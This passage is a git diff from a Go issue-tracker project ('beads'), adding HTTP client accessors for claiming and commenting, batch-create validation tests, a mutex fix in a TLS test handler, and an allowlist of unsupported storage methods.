+ Title: "the title", Description: "d", Design: "des", AcceptanceCriteria: "ac", + Priority: 0, IssueType: types.TypeBug, Assignee: "a", Labels: []string{"alpha"}, + }, + Dependencies: []issueops.CreateDependency{{TargetID: "bd-9", Type: types.DepBlocks}}, + }}, + }); err != nil { + t.Fatalf("CreateBatch(): %v", err) + } + + body := w.lastBatchCreate + if body.Actor != "planner" { + t.Errorf("actor = %q, want \"planner\"", body.Actor) + } + if len(body.Items) != 1 { + t.Fatalf("items = %d, want 1", len(body.Items)) + } + item := body.Items[0] + if item.Title != "the title" { + t.Errorf("title = %q", item.Title) + } + if item.Priority == nil || *item.Priority != 0 { + t.Errorf("priority = %v, want an explicit 0: absent means the workspace default", item.Priority) + } + for name, got := range map[string]*string{ + "description": item.Description, "design": item.Design, + "acceptance_criteria": item.AcceptanceCriteria, "assignee": item.Assignee, + "issue_type": item.IssueType, + } { + if got == nil { + t.Errorf("%s was omitted for a populated field", name) + } + } + if item.Labels == nil || !reflect.DeepEqual(*item.Labels, []string{"alpha"}) { + t.Errorf("labels = %v, want [alpha]", item.Labels) + } + if item.Dependencies == nil || len(*item.Dependencies) != 1 { + t.Fatalf("dependencies = %v, want one edge", item.Dependencies) + } + if edge := (*item.Dependencies)[0]; edge.TargetId != "bd-9" || edge.Type != string(types.DepBlocks) { + t.Errorf("edge = %+v, want {bd-9 blocks}", edge) + } +} + +// TestBatchCreateReadsTheGeneratedIDsBackOffTheResponse pins the one fact the +// request cannot carry and every front door needs. +func TestBatchCreateReadsTheGeneratedIDsBackOffTheResponse(t *testing.T) { + w := &stubWire{created: &apigen.BatchCreateResponse{Items: []apigen.Issue{ + {ID: "bd-11", Title: "one", Labels: []string{"alpha"}}, + {ID: "bd-12", Title: "two"}, + }}} + result, err := bulkCreator(t, w).CreateBatch(t.Context(), issueops.CreateBatchRequest{ + Actor: "planner", + Items: []issueops.BatchCreateItem{ + {Issue: &issueops.Issue{Title: "one"}}, + {Issue: &issueops.Issue{Title: "two"}}, + }, + }) + if err != nil { + t.Fatalf("CreateBatch(): %v", err) + } + if len(result.Issues) != 2 { + t.Fatalf("Issues = %d, want 2", len(result.Issues)) + } + for i, want := range []string{"bd-11", "bd-12"} { + if result.Issues[i] == nil || result.Issues[i].ID != want { + t.Errorf("Issues[%d] = %v, want id %q in request order", i, result.Issues[i], want) + } + } + if labels := result.Issues[0].Labels; !reflect.DeepEqual(labels, []string{"alpha"}) { + t.Errorf("Issues[0].Labels = %v, want [alpha]: the snapshot is promised hydrated", labels) + } + if result.Issues[0] == result.Issues[1] { + t.Error("the result entries alias one issue") + } +} + +// TestBatchCreateDoesNotWriteThroughTheCallersItems pins the no-mutation +// promise, and the ID is the field that matters: the role assigns one and it +// must land on the RESULT, never on the caller's issue — an implementation that +// wrote it back would leave the caller's next create refusing its own struct as +// an occupied id. +// +// The whole request is compared, not just the id, because CreateBatchRequest +// travels by value: Items and the issues it points at are what a body could +// otherwise write through, and a label slice handed straight to a marshaler is +// one helper away from being written through too. +func TestBatchCreateDoesNotWriteThroughTheCallersItems(t *testing.T) { + issue := &issueops.Issue{ + Title: "caller owned", Priority: 2, IssueType: types.TypeTask, Labels: []string{"kept"}, + } + request := issueops.CreateBatchRequest{ + Actor: "planner", + Items: []issueops.BatchCreateItem{{ + Issue: issue, + Dependencies: []issueops.CreateDependency{{TargetID: "bd-9", Type: types.DepBlocks}}, + }}, + } + snapshot := issueops.CreateBatchRequest{ + Actor: "planner", + Items: []issueops.BatchCreateItem{{ + Issue: &issueops.Issue{ + Title: "caller owned", Priority: 2, IssueType: types.TypeTask, Labels: []string{"kept"}, + }, + Dependencies: []issueops.CreateDependency{{TargetID: "bd-9", Type: types.DepBlocks}}, + }}, + } + + w := &stubWire{created: &apigen.BatchCreateResponse{Items: []apigen.Issue{ + {ID: "bd-assigned", Title: "caller owned", Labels: []string{"kept", "server-added"}}, + }}} + result, err := bulkCreator(t, w).CreateBatch(t.Context(), request) + if err != nil { + t.Fatalf("CreateBatch(): %v", err) + } + if result.Issues[0].ID != "bd-assigned" { + t.Errorf("the assigned id is %q on the result, want bd-assigned", result.Issues[0].ID) + } + if issue.ID != "" { + t.Errorf("the caller's issue was stamped with id %q; the assigned id belongs to the result", issue.ID) + } + if !reflect.DeepEqual(request, snapshot) { + t.Errorf("CreateBatch mutated the caller's request:\n got %+v\nwant %+v", *request.Items[0].Issue, *snapshot.Items[0].Issue) + } + // The labels on the wire are a COPY: the request body outlives this call + // inside a marshaler, and a shared backing array would let it grow through + // the caller's slice. + if body := w.lastBatchCreate.Items[0].Labels; body == nil || &(*body)[0] == &issue.Labels[0] { + t.Error("the request body aliases the caller's label slice rather than copying it") + } +} + +// TestBatchCreateRefusesAShortAnswer pins the all-or-nothing read-back. A +// server answering a different length has no partial outcome to describe, so +// the client reports it rather than indexing into it. +func TestBatchCreateRefusesAShortAnswer(t *testing.T) { + w := &stubWire{created: &apigen.BatchCreateResponse{Items: []apigen.Issue{{ID: "bd-11"}}}} + _, err := bulkCreator(t, w).CreateBatch(t.Context(), issueops.CreateBatchRequest{ + Actor: "planner", + Items: []issueops.BatchCreateItem{ + {Issue: &issueops.Issue{Title: "one"}}, + {Issue: &issueops.Issue{Title: "two"}}, + }, + }) + if err == nil { + t.Fatal("a two-item batch answered with one issue was accepted") + } +} + +// batchCreateRoleRefusedIssueMembers are the two members the ROLE refuses in +// its own right, before the wire is consulted: "Issue.Comments and +// Issue.Dependencies must be empty because edges are supplied through the +// item's own Dependencies". They earn ErrValidation rather than a ledger row, +// because a local backend refuses them too — this is not a divergence. +var batchCreateRoleRefusedIssueMembers = map[string]string{ + "Comments": "a create batch has no way to supply comments at all", + "Dependencies": "edges are supplied through the item's own Dependencies", +} + +// TestBatchCreateRefusesEveryMemberTheWireExcludes is the refuse-not-drop gate +// for this operation, and the pin behind every one of its ledger rows. +// +// It runs three ways, and each catches a different staleness: +// +// carried -> wire the eight members the client claims to carry are +// exactly the ones apigen.BatchCreateItem publishes for +// the issue itself. +// source -> partition every populatable field of types.Issue is carried, +// ignored by the role, refused by the role, or refused by +// the wire. There is no fifth arm, so a member added +// upstream cannot arrive unclassified. +// behavior every wire-refused member really fails, citing its +// ledger row, WITHOUT dialing. +func TestBatchCreateRefusesEveryMemberTheWireExcludes(t *testing.T) { + t.Run("carried members are the wire's own", func(t *testing.T) { + published := bodyMembers(t, reflect.TypeOf(apigen.BatchCreateItem{})) + // `dependencies` is driven by the ITEM's own field, not by the issue. + delete(published, "dependencies") + + var claimed []string + for field, wireMember := range batchCreateCarriedIssueMembers { + if _, ok := reflect.TypeOf(issueops.Issue{}).FieldByName(field); !ok { + t.Errorf("the carried table names Issue.%s, which does not exist", field) + } + if !published[wireMember] { + t.Errorf("Issue.%s claims wire member %q, which BatchCreateItem does not publish", field, wireMember) + } + claimed = append(claimed, wireMember) + } + sort.Strings(claimed) + if want := sortedKeys(published); !reflect.DeepEqual(claimed, want) { + t.Errorf("the client carries\n %v\nthe wire's item publishes\n %v", claimed, want) + } + }) + + t.Run("the item container has exactly two halves", func(t *testing.T) { + // The CONTAINER above types.Issue, which no other gate can see. + // + // issueops.BatchCreateItem is not a wire body — its Issue half FLATTENS + // onto eight members of apigen.BatchCreateItem while its Dependencies + // half is one — so it cannot be a writeShape: a shape row claims one + // member per field, and the wire -> source direction would read the + // eight as undriven. The two halves are therefore classified by + // different mechanisms, and this is what says there are only two. + // + // It is not hypothetical. BatchCreateItem is "the per-item HALF of + // CreateRequest", and CreateRequest carries ParentID, + // InheritLabelsFromParent and WaitsFor; the day one of those is pulled + // down onto the item, every gate below would stay green while the client + // dropped it. + got := populatableFields(reflect.TypeOf(issueops.BatchCreateItem{})) + sort.Strings(got) + want := []string{"Dependencies", "Issue"} + if !reflect.DeepEqual(got, want) { + t.Errorf("BatchCreateItem carries %v, want %v.\n"+ + "A new member reaches no wire member and no refusal: carry it in batchCreateItem, or refuse it with a ledger row.", got, want) + } + }) + + refused := wireRefusedIssueMembers(t) + + t.Run("the partition covers every member", func(t *testing.T) { + if len(refused) == 0 { + t.Fatal("no member is wire-refused; the partition tables have swallowed the population this gate exists for") + } + for _, name := range []string{"ID", "Status", "Ephemeral", "Metadata", "Pinned"} { + if !slices.Contains(refused, name) { + t.Errorf("Issue.%s is not in the refused population; a create that dropped it is data loss", name) + } + } + for field := range roleIgnoredCreateIssueMembers { + if _, ok := reflect.TypeOf(issueops.Issue{}).FieldByName(field); !ok { + t.Errorf("the ignored table names Issue.%s, which does not exist", field) + } + if _, dup := batchCreateCarriedIssueMembers[field]; dup { + t.Errorf("Issue.%s is both carried and ignored", field) + } + } + }) + + t.Run("every refused member fails without dialing", func(t *testing.T) { + for _, name := range refused { + t.Run(name, func(t *testing.T) { + issue := &issueops.Issue{Title: "t"} + setNonZero(t, reflect.ValueOf(issue).Elem().FieldByName(name)) + + w := &stubWire{} + _, err := bulkCreator(t, w).CreateBatch(t.Context(), issueops.CreateBatchRequest{ + Actor: "planner", + Items: []issueops.BatchCreateItem{{Issue: issue}}, + }) + assertRefusedBy(t, err, "W-BatchCreateItem.Issue") + if !strings.Contains(err.Error(), name) { + t.Errorf("the refusal does not name the member: %v", err) + } + if len(w.calls) != 0 { + t.Errorf("the refused member reached the wire: %v", w.calls) + } + }) + } + }) + + t.Run("a CreatedBy naming the actor rides the server's stamp", func(t *testing.T) { + // The server stamps every item's created_by from the actor, so that one + // value is carried by the stamp; the sweep above refuses any other. + w := &stubWire{} + if _, err := bulkCreator(t, w).CreateBatch(t.Context(), issueops.CreateBatchRequest{ + Actor: "planner", + Items: []issueops.BatchCreateItem{{Issue: &issueops.Issue{Title: "t", CreatedBy: "planner"}}}, + }); err != nil { + t.Fatalf("CreateBatch with CreatedBy == Actor = %v, want it carried by the server's stamp", err) + } + if w.lastBatchCreate.Actor != "planner" { + t.Errorf("sent actor = %q, want the creator the stamp will write", w.lastBatchCreate.Actor) + } + }) + + t.Run("the role's own two are ErrValidation", func(t *testing.T) { + for name := range batchCreateRoleRefusedIssueMembers { + issue := &issueops.Issue{Title: "t"} + setNonZero(t, reflect.ValueOf(issue).Elem().FieldByName(name)) + + w := &stubWire{} + _, err := bulkCreator(t, w).CreateBatch(t.Context(), issueops.CreateBatchRequest{ + Actor: "planner", + Items: []issueops.BatchCreateItem{{Issue: issue}}, + }) + if !errors.Is(err, issueops.ErrValidation) { + t.Errorf("Issue.%s error = %v, want ErrValidation — a local backend refuses it too", name, err) + } + if len(w.calls) != 0 { + t.Errorf("Issue.%s reached the wire: %v", name, w.calls) + } + } + }) + + t.Run("the request's own two", func(t *testing.T) { + for _, tc := range []struct { + row string + request issueops.CreateBatchRequest + }{ + {"W-CreateBatchRequest.Provenance", issueops.CreateBatchRequest{Provenance: "bd: create from plan.md"}}, + {"W-CreateBatchRequest.ForceIDPrefix", issueops.CreateBatchRequest{ForceIDPrefix: true}}, + } { + req := tc.request + req.Actor = "planner" + req.Items = []issueops.BatchCreateItem{{Issue: &issueops.Issue{Title: "t"}}} + + w := &stubWire{} + _, err := bulkCreator(t, w).CreateBatch(t.Context(), req) + assertRefusedBy(t, err, tc.row) + if len(w.calls) != 0 { + t.Errorf("%s reached the wire: %v", tc.row, w.calls) + } + } + }) + + t.Run("the edge's three", func(t *testing.T) { + for _, tc := range []struct { + row string + edge issueops.CreateDependency + }{ + {"W-CreateDependency.Reverse", issueops.CreateDependency{TargetID: "bd-9", Type: types.DepBlocks, Reverse: true}}, + {"W-CreateDependency.Metadata", issueops.CreateDependency{TargetID: "bd-9", Type: types.DepBlocks, Metadata: `{"gate":"x"}`}}, + {"W-CreateDependency.ThreadID", issueops.CreateDependency{TargetID: "bd-9", Type: types.DepBlocks, ThreadID: "th-1"}}, + } { + w := &stubWire{} + _, err := bulkCreator(t, w).CreateBatch(t.Context(), issueops.CreateBatchRequest{ + Actor: "planner", + Items: []issueops.BatchCreateItem{{ + Issue: &issueops.Issue{Title: "t"}, + Dependencies: []issueops.CreateDependency{tc.edge}, + }}, + }) + assertRefusedBy(t, err, tc.row) + if len(w.calls) != 0 { + t.Errorf("%s reached the wire: %v", tc.row, w.calls) + } + } + }) +} + +// TestBatchCreateCannotNameAnItemOfItsOwnBatch is ledger row +// L-batchcreate-inbatch's pin. +// +// The role's headline capability — an edge onto an item created EARLIER in the +// same request — needs that earlier item to have named an id for itself, and +// the wire's item publishes no id member. The gap is in the SCHEMA rather than +// the handler: `target_id`'s own description names this case, so it is worth +// asserting structurally as well as behaviorally. +func TestBatchCreateCannotNameAnItemOfItsOwnBatch(t *testing.T) { + published := bodyMembers(t, reflect.TypeOf(apigen.BatchCreateItem{})) + if published["id"] { + t.Fatal("BatchCreateItem publishes an id member; an in-batch edge is expressible and L-batchcreate-inbatch retires") + } + + w := &stubWire{} + _, err := bulkCreator(t, w).CreateBatch(t.Context(), issueops.CreateBatchRequest{ + Actor: "planner", + Items: []issueops.BatchCreateItem{ + {Issue: &issueops.Issue{ID: "bd-first", Title: "the blocker"}}, + { + Issue: &issueops.Issue{Title: "the blocked"}, + Dependencies: []issueops.CreateDependency{{TargetID: "bd-first", Type: types.DepBlocks}}, + }, + }, + }) + assertRefusedBy(t, err, "W-BatchCreateItem.Issue") + if len(w.calls) != 0 { + t.Errorf("the explicit id reached the wire: %v", w.calls) + } +} + +// wireRefusedIssueMembers is the complement the gate above drives: every +// populatable field of types.Issue that is neither carried by the wire, nor +// ignored by the role, nor refused by the role in its own right. +func wireRefusedIssueMembers(t *testing.T) []string { + t.Helper() + var out []string + for _, name := range populatableFields(reflect.TypeOf(issueops.Issue{})) { + if _, ok := batchCreateCarriedIssueMembers[name]; ok { + continue + } + if _, ok := roleIgnoredCreateIssueMembers[name]; ok { + continue + } + if _, ok := batchCreateRoleRefusedIssueMembers[name]; ok { + continue + } + out = append(out, name) + } + return out +} + +// assertRefusedBy checks a refusal is the TYPED one and cites the row it +// should. A refusal that merely matched ErrRefused would pass while citing the +// wrong divergence, which is how a ledger row stops describing anything. +func assertRefusedBy(t *testing.T, err error, row string) { + t.Helper() + var refusal *encode.RefusedError + if !errors.As(err, &refusal) { + t.Fatalf("error = %v, want *encode.RefusedError citing %s", err, row) + } + if refusal.Row.ID != row { + t.Errorf("refusal cites ledger row %s, want %s", refusal.Row.ID, row) + } +} + +// assertEveryFieldPopulated fails on any zero-valued field of a projected +// result, which is how a dropped member of an unpinned wire body shows up. +// +// skip names fields with no wire-side counterpart AT ALL — not a member this +// projection dropped, but one the wire body never published in the first +// place, so a fully populated wire body can never make the field non-zero no +// matter what the projection does. Each one must be backed by its own +// divergence-ledger row on the REQUEST side (the member the server would need +// to be ASKED to produce this answer), or this exemption is just a quieter way +// to drop it. +func assertEveryFieldPopulated(t *testing.T, name string, value reflect.Value, skip ...string) { + t.Helper() + shape := value.Type() + for i := range shape.NumField() { + field := shape.Field(i) + if !field.IsExported() { + continue + } + if slices.Contains(skip, field.Name) { + continue + } + if value.Field(i).IsZero() { + t.Errorf("%s.%s is zero after projecting a fully populated wire body; the member was dropped", + name, field.Name) + } + } +} + +// setNonZero populates one field with a value distinguishable from its zero, so +// the refusal sweep can ask "was this member honored?" of any shape the struct +// grows. It fails rather than skipping on a kind it does not know: a silently +// unset field would make its subtest assert nothing. +func setNonZero(t *testing.T, v reflect.Value) { + t.Helper() + if !v.CanSet() { + t.Fatalf("cannot set a %s", v.Type()) + } + switch v.Kind() { + case reflect.String: + v.SetString("sentinel") + case reflect.Bool: + v.SetBool(true) + case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64: + v.SetInt(1) + case reflect.Pointer: + v.Set(reflect.New(v.Type().Elem())) + case reflect.Slice: + if v.Type() == reflect.TypeOf(json.RawMessage(nil)) { + v.Set(reflect.ValueOf(json.RawMessage(`{"k":"v"}`))) + return + } + v.Set(reflect.MakeSlice(v.Type(), 1, 1)) + case reflect.Struct: + if v.Type() == reflect.TypeOf(time.Time{}) { + v.Set(reflect.ValueOf(time.Date(2026, 3, 1, 12, 0, 0, 0, time.UTC))) + return + } + t.Fatalf("no non-zero value for struct %s", v.Type()) + default: + t.Fatalf("no non-zero value for kind %s (%s)", v.Kind(), v.Type()) + } +} diff --git a/internal/httpclient/ca_test.go b/internal/httpclient/ca_test.go index 0bfcdcbb5..e63d2fefb 100644 --- a/internal/httpclient/ca_test.go +++ b/internal/httpclient/ca_test.go @@ -205,9 +205,14 @@ func forceIPv4Loopback(t *testing.T, rt http.RoundTripper) { // caContextHandler answers the handshake like contextServer, and additionally // records the SNI name and Host header the request actually carried, so a test -// can prove TransportFor never overrides either. +// can prove TransportFor never overrides either. Some callers (e.g. the +// MaxIdleConnsPerHost burst test) drive this handler with several concurrent +// requests, so every field is behind mu: both the writes in handler() and the +// reads in the accessor methods below. type caContextHandler struct { - body apigen.ContextResponse + body apigen.ContextResponse + + mu sync.Mutex sni string host string requestSeen bool @@ -215,16 +220,39 @@ type caContextHandler struct { func (h *caContextHandler) handler() http.HandlerFunc { return func(w http.ResponseWriter, r *http.Request) { + h.mu.Lock() h.requestSeen = true h.host = r.Host if r.TLS != nil { h.sni = r.TLS.ServerName } + h.mu.Unlock() w.Header().Set("Content-Type", "application/json") _ = json.NewEncoder(w).Encode(h.body) } } +// sawRequest reports whether the handler has observed at least one request. +func (h *caContextHandler) sawRequest() bool { + h.mu.Lock() + defer h.mu.Unlock() + return h.requestSeen +} + +// seenHost returns the Host header the most recent request carried. +func (h *caContextHandler) seenHost() string { + h.mu.Lock() + defer h.mu.Unlock() + return h.host +} + +// seenSNI returns the TLS ServerName the most recent request carried. +func (h *caContextHandler) seenSNI() string { + h.mu.Lock() + defer h.mu.Unlock() + return h.sni +} + func TestTransportForNoCAConfiguredIsUnchanged(t *testing.T) { clearCAEnvironment(t) rt, err := TransportFor(Target{}) diff --git a/internal/httpclient/claimer.go b/internal/httpclient/claimer.go new file mode 100644 index 000000000..31479729e --- /dev/null +++ b/internal/httpclient/claimer.go @@ -0,0 +1,48 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/claimer.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/issueops" +) + +// httpClaimer serves issueops.Claimer from the claimIssue operation (design D8 +// row 3). The role is a single guarded compare-and-set and the wire operation is +// the same one, so this is the thinnest mapping on the whole client: a body +// carrying the actor, and a response whose already_claimed flag is the role's +// Changed inverted. +type httpClaimer struct { + store *Store + wire WriteWire +} + +var _ issueops.Claimer = (*httpClaimer)(nil) + +// Claim dials claimIssue. +// +// The 409 vocabulary reaches the caller as *issueops.ClaimConflictError with the +// holder and status the refusing transaction read, reconstructed from the +// problem body's assignee/issue_status extension members — the wire's mapper +// owns that, and the issue id it needs comes from the request rather than the +// response because the server does not echo what the caller already said. +func (c *httpClaimer) Claim(ctx context.Context, req issueops.ClaimRequest) (issueops.ClaimResult, error) { + if err := requireActor(req.Actor); err != nil { + return issueops.ClaimResult{}, err + } + if err := requireID("issue id", req.IssueID); err != nil { + return issueops.ClaimResult{}, err + } + + res, err := c.wire.ClaimIssue(ctx, req.IssueID, apigen.ClaimRequest{Actor: req.Actor}) + if err != nil { + return issueops.ClaimResult{}, err + } + // The role's snapshot is the bare issue ROW — no labels, no edges, no + // comments — which is exactly what the wire's ClaimResponse carries, so + // there is nothing to hydrate and nothing to strip. + issue := res.Issue + return issueops.ClaimResult{Issue: &issue, Changed: !res.AlreadyClaimed}, nil +} diff --git a/internal/httpclient/commenter.go b/internal/httpclient/commenter.go new file mode 100644 index 000000000..9bff9a412 --- /dev/null +++ b/internal/httpclient/commenter.go @@ -0,0 +1,110 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/commenter.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "fmt" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + storageops "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/issueops" +) + +// httpCommenter is issueops.Commenter over addComment (POST +// /v0/beads/issues/{id}/comments) — the TWENTY-FOURTH wire-backed accessor, and +// the only write on this surface whose path names a SUB-RESOURCE. +// +// THE MAPPING IS TOTAL and unusually small: three request members, of which one +// is the path, and one result member. There is no ledger row for this operation +// and no member refuses. +// +// THE AUTHOR IS CALLER-ASSERTED, and it is spelled `author` rather than `actor` +// because it is not the same thing. Every other write here names the principal a +// mutation is ATTRIBUTED to; this value is part of what the write STORED — it +// lands in the row and is read back by everyone who sees the thread. It is also +// not the authenticated principal even where a bearer is required, because the +// token a deployment configures is shared and admits a client to the whole +// surface. So THIS CLIENT sends it verbatim: no default, no fallback to a +// configured actor, no normalization. +// +// THE SERVER'S RULE IS A DIFFERENT MATTER, and the difference is ledgered rather +// than described away (L-comment-author). The operation applies the `actor` +// rules to this member — trim, then refuse a control rune — and passes the +// TRIMMED value on, while the role itself only checks the field is non-empty and +// stores what it was given. So a padded author is stored trimmed here and +// verbatim on a local leg, and one carrying a C1 introducer is refused here and +// stored there. Anticipating either half on this side would be worse than the +// divergence: trimming would silently rewrite a caller's request, and refusing +// would be a second copy of a server rule that is free to move. The value goes +// as it was written and the server's answer comes back unchanged, which is what +// keeps the difference visible. +// +// THE TEXT IS SHAPE-ONLY, and that is the column rather than an omission. It is +// a LONGTEXT the caller may fill with a stack trace or a diff, so there is no +// length bound to apply and no control rule — a comment is written in newlines. +// The only cap is the 1 MiB every body on this surface shares, and BOTH PLANES +// agree about that number only because migration 0065 widened +// `wisp_comments.text` from TEXT's 65535 bytes to match the durable column. That +// is worth a sentence here rather than only upstream: this operation resolves +// its anchor across both planes, so before 0065 the bound a caller was subject +// to depended on which plane its id happened to name, and nothing above the +// storage seam could have told it which. +// +// A COMMENT ON A WISP LANDS AND LEAVES NO DURABLE TRACE. The wisp tables are +// dolt-ignored, so an ephemeral thread records no history entry — none, not one +// — while the comment itself is stored and reads back. Nothing here decides +// that: the role resolves the plane inside the transaction it writes in, which +// is what stops a comment landing on a row an earlier read saw. +// +// THERE IS NO READ HERE, and its absence is the role's ruling rather than a +// wave's backlog. A comment page is a paging question with a cursor of its own, +// the wire publishes no such operation, and the thread is read through +// `GET /v0/beads/issues/{id}?include_comments=true`. A client that invented one +// — a filtered getIssue, a fan-out — would be answering a question no role asked +// and no server serves. +type httpCommenter struct { + store *Store + wire WriteWire +} + +var _ issueops.Commenter = (*httpCommenter)(nil) + +// AddComment appends one comment and answers the row as stored. +func (c *httpCommenter) AddComment(ctx context.Context, req issueops.AddCommentRequest) (issueops.AddCommentResult, error) { + // The role's own request rules, taken from the one place every Commenter + // shares them rather than restated here — readyclaimer.go's lesson, applied + // before it can be learned twice. All three refusals are ErrValidation and + // all three are raised BEFORE the dial: an empty author and an empty id would + // otherwise cost a round trip to be told what the contract already says, and + // a blank body would be refused by the server with the role's own sentence + // anyway, which is the same sentence this raises. + if err := storageops.ValidateAddCommentRequest(req); err != nil { + return issueops.AddCommentResult{}, err + } + + comment, err := c.wire.AddComment(ctx, req.IssueID, apigen.AddCommentRequest{ + Author: req.Author, + Text: req.Text, + }) + if err != nil { + return issueops.AddCommentResult{}, err + } + // PRESENCE IS CHECKED RATHER THAN TRUSTED, for decodeCountGroups' reason and + // with a sharper consequence: the result's whole payload is this pointer, and + // the role promises the stored id and the stored created_at — the value a + // caller may use directly as a comment-page cursor. A nil here would be a + // server that answered 200 with no body at all, and returning it would move + // the panic to whichever caller dereferenced it first. + if comment == nil { + return issueops.AddCommentResult{}, fmt.Errorf( + "bd serve answered an appended comment with no body: the operation returns the stored row, " + + "and an absent one carries neither the id the insert minted nor the created_at a caller pages from") + } + // A COPY, so nothing downstream holds a window onto a decoded response body. + // apigen.Comment IS types.Comment — a Go type alias the document pins — so + // this is an assignment rather than a conversion, and there is no second wire + // struct to fall out of step. + stored := *comment + return issueops.AddCommentResult{Comment: &stored}, nil +} diff --git a/internal/httpclient/completeness_test.go b/internal/httpclient/completeness_test.go new file mode 100644 index 000000000..36ee05cd3 --- /dev/null +++ b/internal/httpclient/completeness_test.go @@ -0,0 +1,552 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/completeness_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "errors" + "os" + "reflect" + "regexp" + "slices" + "sort" + "testing" + + "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/storage" +) + +// legitimatelyUnsupported is the EXPLICIT denominator of every +// storage.DoltStorage method the http client deliberately does not implement — +// design D8's unsupported-allowlist v1 — each with a reason. +// +// TestInterfaceCompleteness asserts the generated shell (unsupported_gen.go) +// contains EXACTLY these methods, no more and no less, so a method cannot +// silently fall into the refusing base; TestUnsupportedContract asserts each one +// really returns the typed sentinel when called. Together they close the loop. +// +// The rule for adding an entry: a method belongs here when no v0 operation can +// answer it. A method that a wire operation CAN answer belongs in accessors.go +// or offrole.go instead, refusing until its bead lands — putting it here would +// bake a refusal into the structural gate and let the flip land silently. +var legitimatelyUnsupported = map[string]string{ + // Version control and history. The commit graph belongs to the server's own + // storage; a client of an HTTP API has no working set to branch or diff, and + // v0 publishes no history surface. Note the commit FAMILY is a no-op rather + // than unsupported (D3) and is deliberately absent from this map. + "AsOf": "VC: point-in-time read", + "Branch": "VC: Dolt branch", + "Checkout": "VC: Dolt checkout", + "CommitExists": "VC: commit graph", + "CurrentBranch": "VC: Dolt branch", + "DeleteBranch": "VC: Dolt branch", + "Diff": "VC: Dolt diff", + "GetConflicts": "VC: merge conflicts", + "GetCurrentCommit": "VC: commit graph", + "History": "history: issue revision log", + "ListBranches": "VC: Dolt branch", + "Log": "history: commit log", + "Merge": "VC: Dolt merge", + "ResolveConflicts": "VC: merge conflicts", + "Status": "VC: working-set status", + + // Remotes and sync. `bd serve` is the sync boundary: the server pushes and + // pulls its own database, and a client that did so too would be a second + // writer nobody designed. + "AddRemote": "remote", + "AddRemoteWithRef": "remote", + "Fetch": "remote", + "ForcePush": "remote", + "HasRemote": "remote", + "ListRemotes": "remote", + "Pull": "remote", + "PullFrom": "remote", + "PullRemote": "remote", + "Push": "remote", + "PushRemote": "remote", + "PushTo": "remote", + "RemoveRemote": "remote", + "Sync": "sync: server-side concern", + "SyncStatus": "sync: server-side concern", + + // Federation, compaction, provenance and the merge slot: whole subsystems + // with no v0 route table entry. + "AddFederationPeer": "federation", + "GetFederationPeer": "federation", + "ListFederationPeers": "federation", + "RemoveFederationPeer": "federation", + "ApplyCompaction": "compaction", + "CheckEligibility": "compaction", + "GetCompactionSnapshot": "compaction", + "GetTier1Candidates": "compaction", + "GetTier2Candidates": "compaction", + "RestoreFromSnapshot": "compaction", + "SnapshotIssue": "compaction", + "GetProvenanceByRef": "provenance log", + "GetProvenanceEvents": "provenance log", + "RecordProvenanceEvent": "provenance log", + "MergeSlotAcquire": "merge slot", + "MergeSlotCheck": "merge slot", + "MergeSlotCreate": "merge slot", + "MergeSlotRelease": "merge slot", + + // The THREE role accessors of D8's matrix with no wire operation behind + // them. The other twenty-five are wire-backed and live in accessors.go. + // BatchCloser left this list with the `bd close` decision: the wire has no + // closeBatch, but the single-item no-ClaimNext shape composes onto + // closeIssue, and the CLI's close front door routes every id through this + // role. + // + // Releaser, Commenter and IssueRelations left it with client wave 2b + // (ga-f352s), and all three left for the same reason the rule at the top + // states: the wire publishes releaseIssue (#5507), addComment (#5594) and + // listRelatedIssues (#5540), so "no v0 operation can answer it" stopped + // being true of any of them. What is left here is the residue that is not + // waiting on anything — three acts a client of an HTTP API cannot perform at + // all, because each is about a database this process does not have. + "Bootstrapper": "issue role: workspace bootstrap is a server-side act", + "InitVerifier": "issue role: init verification is a server-side act", + "VersionReconciler": "issue role: clone-local version markers, meaningless for a client", + + // Raw issue writes. The served writes reach the wire through their roles + // (Lifecycle, BatchCreator, DependencyEditor, Sweeper, Deleter); these legacy + // front doors have no operation of their own and must not be silently + // re-routed, since their request shapes carry members the wire excludes. + // The two raw comment appends. The wire HAS addComment (#5594) and the + // COMMENTER ROLE now dials it (commenter.go); these stay unwired for + // CreateIssue's rule, and the difference between them is worth keeping: one + // of the two cannot express the operation's answer at all. + "AddComment": "write: raw comment append returning NOTHING; addComment answers with the stored row — the id the insert minted and created_at at the column's precision — and a front door that discarded it would make the role's cursor promise unobservable (role: Commenter)", + "AddIssueComment": "write: raw comment append (role: Commenter). It has the same shape as the role's request and the same answer, which is exactly why re-routing it would be a second spelling of one write — with no actor rule and no plane story of its own", + "AddDependency": "write: raw edge add (role: DependencyEditor)", + "AddDependencyWithOptions": "write: raw edge add (role: DependencyEditor)", + "AddLabel": "write: raw incremental label add (role: Lifecycle, via IssuePatch.Labels.Add). The wire CARRIES it — upstream #5510 published add_labels and client wave ga-jpywb emits it — so this stays on the allowlist for CreateIssue's rule and not for a wire gap: re-routing it would put a second spelling of the edit beside the role's, with no actor, no guard and no ordered-edit algebra", + "ClaimIssue": "write: raw claim (role: Claimer)", + "ClaimReadyIssue": "write: raw ready-claim (role: ReadyClaimer)", + "CloseIssueChecked": "write: raw checked close (role: Lifecycle)", + "CreateIssue": "write: raw create. The wire has createIssue (upstream #5483) and the LIFECYCLE ROLE now dials it (lifecycle.go, D8 row 16); this raw front door stays unwired deliberately, because re-routing it would put a second spelling of the create beside the role's — with a different request shape, since this one takes a bare *types.Issue and no edges", + "CreateIssues": "write: raw batch create; createIssue is single-item and batchCreateIssues is the batch operation, both of which the roles own (role: BatchCreator)", + "CreateIssuesWithFullOptions": "write: raw batch create with options the wire's item body does not publish (role: BatchCreator; see W-BatchCreateItem.Issue)", + "DeleteIssue": "write: raw delete 